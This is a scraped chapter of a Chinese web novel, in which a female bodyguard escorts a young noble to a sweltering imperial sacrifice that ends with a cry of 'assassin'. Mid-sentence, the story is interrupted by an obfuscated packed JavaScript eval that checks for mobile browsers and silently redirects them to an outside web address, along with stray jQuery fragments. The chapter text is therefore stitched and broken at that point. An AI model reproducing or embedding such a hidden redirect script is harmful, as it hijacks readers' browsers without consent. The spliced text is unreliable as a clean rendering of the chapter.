21.第 21 章
作品:《她是暗卫gb》 夏至三候,一候鹿角解,二候蝉始鸣,三候半夏生。
祭天仪式这天,中京简直热得出奇。烈日炎炎,蝉鸣鼓噪,就是穿着单薄的夏衣都热得人心慌,更遑论那些官员们要身穿厚重朝服。
那可真是汗如雨下。
这次的祭天仪式举行得匆忙,皇帝吩咐一切从简,许多礼节性的仪式都被取消。如祭天仪式前需得斋戒三日,以及官员需从中京城步行至奉天圣坛等。
要知道,奉天圣坛在郊外,离中京颇有些距离。
往日只有皇帝能乘坐御辇,其余官员皆需跟在御撵后面步行。因为百官队伍庞大,又需严格保持队形,再加上朝服厚重,行进速度十分缓慢。
往往要从凌晨四更天出发,走到月上枝头,接近一天的路程。随后百官在奉天圣坛附近的衙署公所休整一晚,第二日再爬上奉天圣坛进行祭天祈福仪式。
这样严苛的仪式,实在是劳神费力。
且不说队伍里有许多老臣,受不了这个体力强度。就是皇帝年迈病重,也没办法坐一天的御撵。再加上夏至不比冬至,冬至虽然冷,但穿得厚,尚能接受。夏至是真的热,穿得厚还不能脱,走在路上能把人给逼疯。
因此,此次祭天仪式,所有官员都乘车前往奉天圣坛,在圣坛下整合队伍,再步行上奉天圣坛,完成最后的祈福祭天仪式即可,化繁为简。
浩浩荡荡的队伍从中京城出发。
靖安侯府的马车分为两辆,老侯爷裴铮品阶高,车马在最靠前的地方。而裴知行是五品官员,车马自然在后面缀着。
现在四更天,天都还没亮,四处黑黢黢的,夜幕笼罩着行进的车队。
车厢内放置了一颗夜明珠,散发着微光,柔和温暖。
裴知行整衣端肃坐在马车里,身着绯色官袍,官帽被放在一侧手边。四更天出发,裴知行三更天就得起来穿戴朝服。
三更天,鸡都还没打鸣。
他应是极为困倦,没睡好,整个人沉默着,垂着眼,怏怏的不说话。
奚九坐在裴知行身侧,抱臂靠在车厢上。她转头看着裴知行,道:“离圣坛还有两个时辰,世子不若休息片刻。等到了圣坛附近,属下再叫您。”
裴知行抬眸,他没看奚九,目光随意落在一处,拒绝道:“无事,我不困。”
见他拒绝,奚九瞥了眼裴知行眼下的青黑,没再劝什么,只道:“是。”
随后转回了头,又靠回车厢。
自醉酒那晚,两人的关系就变得有些奇怪。
裴知行那晚并没有留在偏院,而是回了自己的院子。两人到最后也没撕破脸,权当做那晚的事情没发生过,所有逾矩的情谊皆烟消云散。
后面两人当真就像寻常主仆。裴知行再没往奚九跟前凑过,对她不咸不淡,奚九倒是没太多变化,一如往常。
这是明眼人都能看出来的疏离。
郊外的路不比中京平坦,出了城,马车行驶在官道上,摇摇晃晃的。车厢内只蒙着一层淡淡的光晕,身旁是奚九令人安心的气息。
这一切让本就困倦的裴知行,睡意上涌。
奚九看着一旁的人,裴知行的头低垂着,微微偏向奚九这一侧。他双眼轻阖,纤长的眼睫在眼下映出一片淡淡的阴影。
他就这样垂着头,陷入了沉睡。但是很明显,这样坐着睡觉并不舒适,裴知行的眉心微微蹙起。
奚九静静的看了裴知行半响,最后看向他皱起的眉。
四周寂静,只有车轮碾压路面的声音。时间变得很漫长,又好像十分短暂,奚九沉默片刻,起身,坐到了裴知行的身边,两人并肩坐在一侧。
裴知行对奚九的气息太过熟悉,太过信任。就像从小养在身边的猫,会顺着主人的气息,睡在她的身侧。奚九一坐过去,睡着的裴知行下意识的挨蹭过去,靠在了她的肩上。
这动作太自然,就像做过千百遍。
奚九没再动了,就维持这个动作,安静的坐在裴知行身边。车厢内,光晕柔和,一人端坐,一人依偎,很奇妙又十分和谐。
时间随着晃晃悠悠的马车,缓慢流淌。
......
快到奉天圣坛时,早已天光大亮。
今年大梁的天气着实奇怪,夏日暑气来得格外早,如今才是上午,山间浮起的风竟然是热的,空气十分窒闷,让人觉得胸闷气短。
日光透过车帘,夜明珠的莹辉变得暗淡,车厢内变得明亮。
外面的人声多了起来,想来是快到奉天圣坛了。奚九瞥了一眼靠在自己肩上的裴知行,人还熟睡着。
从奚九的角度能看见裴知行疏朗的眉目,高挺的鼻梁,以及略有些干燥的绯色薄唇。奚九的目光在那双薄唇上停滞一瞬。
不期然的想起那个夜晚,指腹下的触感。
湿润,柔软,沾着猩红的血迹,颜色迤逦,仿若开得正盛的海棠花瓣。让人控制不住的想要抚摸,碾碎,流淌红色的花汁。
奚九眼眸微动,又猝然收回自己的视线,垂首敛睫,眼底情绪不明。她的面色平静,甚至可以说是冷淡,让人无法通过窥视她的表情,来获取一丝关于她的内心想法。
奚九悄然回到了自己的一侧,她不着痕迹的活动了一下,有些酸麻的肩。
奉天圣坛到了,外面有金吾卫挨个敲响官员的车厢。
“世子,奉天圣坛到了。”
奚九平直的声音传到了裴知行的耳朵里,他蹙了蹙眉,悠悠转醒。
裴知行醒来的时候,头是仰靠在车厢的。裴知行没想过自己会睡这么久,竟然睡得很沉,摇摇晃晃的睡了一路,一点没醒。
睡醒以后人稍微清醒了些,裴知行看了眼奚九,见她面无表情的坐在另一侧,也没有多想,只当自己是太困。
毕竟奚九已经说过,对他无意。
想到这些,裴知行又觉得心情郁郁,抿着唇,面色冷了下来。
奚九已经率先下了马车,刚下马车,毒辣的阳光落在奚九的身上,热得她皱起眉头,觉得有些不适。
奚九往奉天圣坛的方向看了眼。
奉天圣坛建在山顶,掩映在葱茏绿意之中,从脚下看去,只能看见圣坛殿宇的宝顶。
要到圣坛,需得爬升九百九十九个阶梯。“九”为帝王之数,代表着至高,至大,至极,乃凡人所能到达的极限。
虽然寓意高尚,但放在现实中,这阶梯陡峭,群臣要爬上去还得颇废一番力气。
尤其是天气炎热的情况下。
奚九将脚凳放好,裴知行才从车内出来。
朝服本就厚重,现在太阳高悬于天,气温升高,裴知行热得额头上都是细密的汗。
奚九见状,将袖中的手帕递给他,道:“世子,擦擦额上的汗。”
裴知行低头,瞥向奚九手中的素白干净的手帕。随后想起了奚九还欠自己的手帕,只是现在再提起这个,倒显得裴知行多念念不忘似的。
一张手帕而已。
裴知行不愿让自己低奚九一头
有不少官员都下了车来,感受到炽热阳光烘烤,热得人汗流浃背,里面穿的中衣全被汗浸湿,被朝服闷着,散不了气。
现在还没到百官整合队伍的时候,几个大臣站在树荫下,三三两两的聊着。
一大臣以袖微拭额际细汗,气息微促,声音低沉:“圣天子泽被万物,今日这骄阳……亦是浩荡天恩啊。”
有人立即接口,道:“陈大人所言极是,此正应“天行健,君子以自强不息”之象。陛下龙兴而出,万物皆仰光辉,我等臣子能随侍在侧,沐浴圣化,何尝不是一种淬炼。”
“正所谓雷霆雨露,俱是天恩。如今我等同在烈日之下,同受此热,便是与圣上共担……此乃臣子本分。”
尽管诸臣面色都不好,然而无人敢抱怨一句,因为这个日子是皇帝亲自定下的。质疑圣意,乃大忌也。
他们抬头看向圣坛,看到那高耸入云的阶梯,不禁觉得一阵眩晕,恨不得马上昏死过去,还能打道回府,逃过一劫。
没过多久,礼部的赞礼官高声道:“文武百僚,序立坛下!”
方才还三五闲聊的大臣立刻收了笑,变得面容严肃,恭敬有序汇合在圣坛脚下。裴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304822|180671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知行也快速前往,很快圣坛脚下便汇聚了青紫袍影。
去往圣坛祭祀的这条路上,除了皇帝以及群臣,还有自发追随而来的百姓。他们亦步亦趋跟在队伍的两侧,只为在祭天祈福之日,面见天颜。
到了圣坛脚下,官员的车马必须整齐排列,守在奉天圣坛脚下,不得靠近圣坛。
金吾卫隔出了一堵人墙,每隔两尺,便站立着一个带刀的金吾卫。金吾卫高大健壮,目光如炬,警惕的扫视所有人。他们将沿路围观的百姓,全部遮挡在外。
围观的百姓们只能远远遥望,奚九也同样等在原处。
她看着裴知行笔直的背影,逐渐融于群臣之间,消失不见。
不知为何,奚九觉得心底有些沉,许是天太热,让人觉得胸闷气短,这是一件极为正常的事情。
奚九将心中杂念压下。
诸臣行动迅速,很快就在圣坛下排列整齐。皇帝站在众人最前方,百官鹄立,翊卫圣后。众人屏息凝神,庄严肃穆。
只听皇帝身前的礼部赞礼官,高声唱贺,声如洪钟,悠远绵长,哪怕隔了很远,奚九这边都能听见。
“昊天上帝,临照在上!至尊天子,恭奠于前!”
“今臣工百僚,整肃衣冠!随仪俯伏!”
“跪——”
随着赞礼官的指令下达,群臣整齐划一,齐刷刷的跪了下去,伏地叩首。百官朝服摩擦的“窸窣”声如潮水般响起,整个场面恢宏,令人心中升起凛然敬意。
“起——”赞礼官又唱道。
百官起身。
皇帝率先动身,只见年迈的皇帝手持苍璧和青帛,踏上了第一个台阶,拾阶而上。身后百官,手持朝笏,举至齐眉,跟在皇帝身后,踏上了圣坛的阶梯。
群臣浩浩荡荡往圣坛而去,慢慢消失在葱茏绿意中。
......
文武百官离开以后,方才那庄严肃穆的氛围久久不曾散,人群中百姓无一人开口。直到毒辣日头明晃晃照在众人身上,大家才被热得缓过神来。
“哎!这日头可真毒,晒得人都要头上冒烟了。”
没了皇帝群臣,有百姓窸窸窣窣的开始说话,你一言我一语,圣坛脚下的气氛变得轻松下来。
有人穿着夏衫,拿着草帽直扇风,道:“谁说不是呢!往年夏至哪有这么热,今年这天道也是奇了怪了。我穿这么点儿都热,那官老爷穿这么厚,怕是得热晕过去吧。”
旁边的人用汗巾子擦汗,道:“你操那闲心呢,人家官老爷都是天定之人,有老天爷护着呢,哪像你我,都要晒干巴了。”
“这大典啥时候结束啊?”有人问道。
“祭天大典得迎帝神,献牲口,念祭文,望燎……规矩多着呢,怎么着也得两个时辰吧。”
“那不得在晌午以后了?暑气最盛的时候。”
“差不多,往年祭天仪式都得两日,第二日晌午之前才能完成。今年时间压缩成一日,可不得晌午以后了。”
“那咱们还等吗?”有人犹豫道。原因无他,实在是天太热,热得人心里发慌。
“再等等呗,好不容易一次祭天大典。”
岂止是百姓热,连圣坛脚下,给群臣拉车的马儿,都烦躁的直跺脚刨地。
焦躁的气息在人群中弥漫开来,有不少百姓顶不住热,选择回去。还有百姓坚守在原地,就为了等着大典结束后能再览天子圣颜。
越到后面,气温越高,尤其是到了晌午的时候,整个天地仿佛变成了一个蒸笼,热气从脚下的土地上涌,炙烤着着世间万物。
等在圣坛脚下的百姓越来越少,尤其是接二连三的有人热中暑以后,离开的百姓越来越多。到了未时初,这圣坛脚下就只剩下稀稀拉拉一些人。
未时正刻,按常理来说,这祭祀大典已经结束,群臣应从圣坛退下来。
最热的时候,空气仿佛不再流动,四周变得沉寂,所有人都有气无力的守在原地,奚九面无表情的盯着圣坛的阶梯。
突然,
山中传来一声极高,极锐利的破音:“有刺客,护驾!”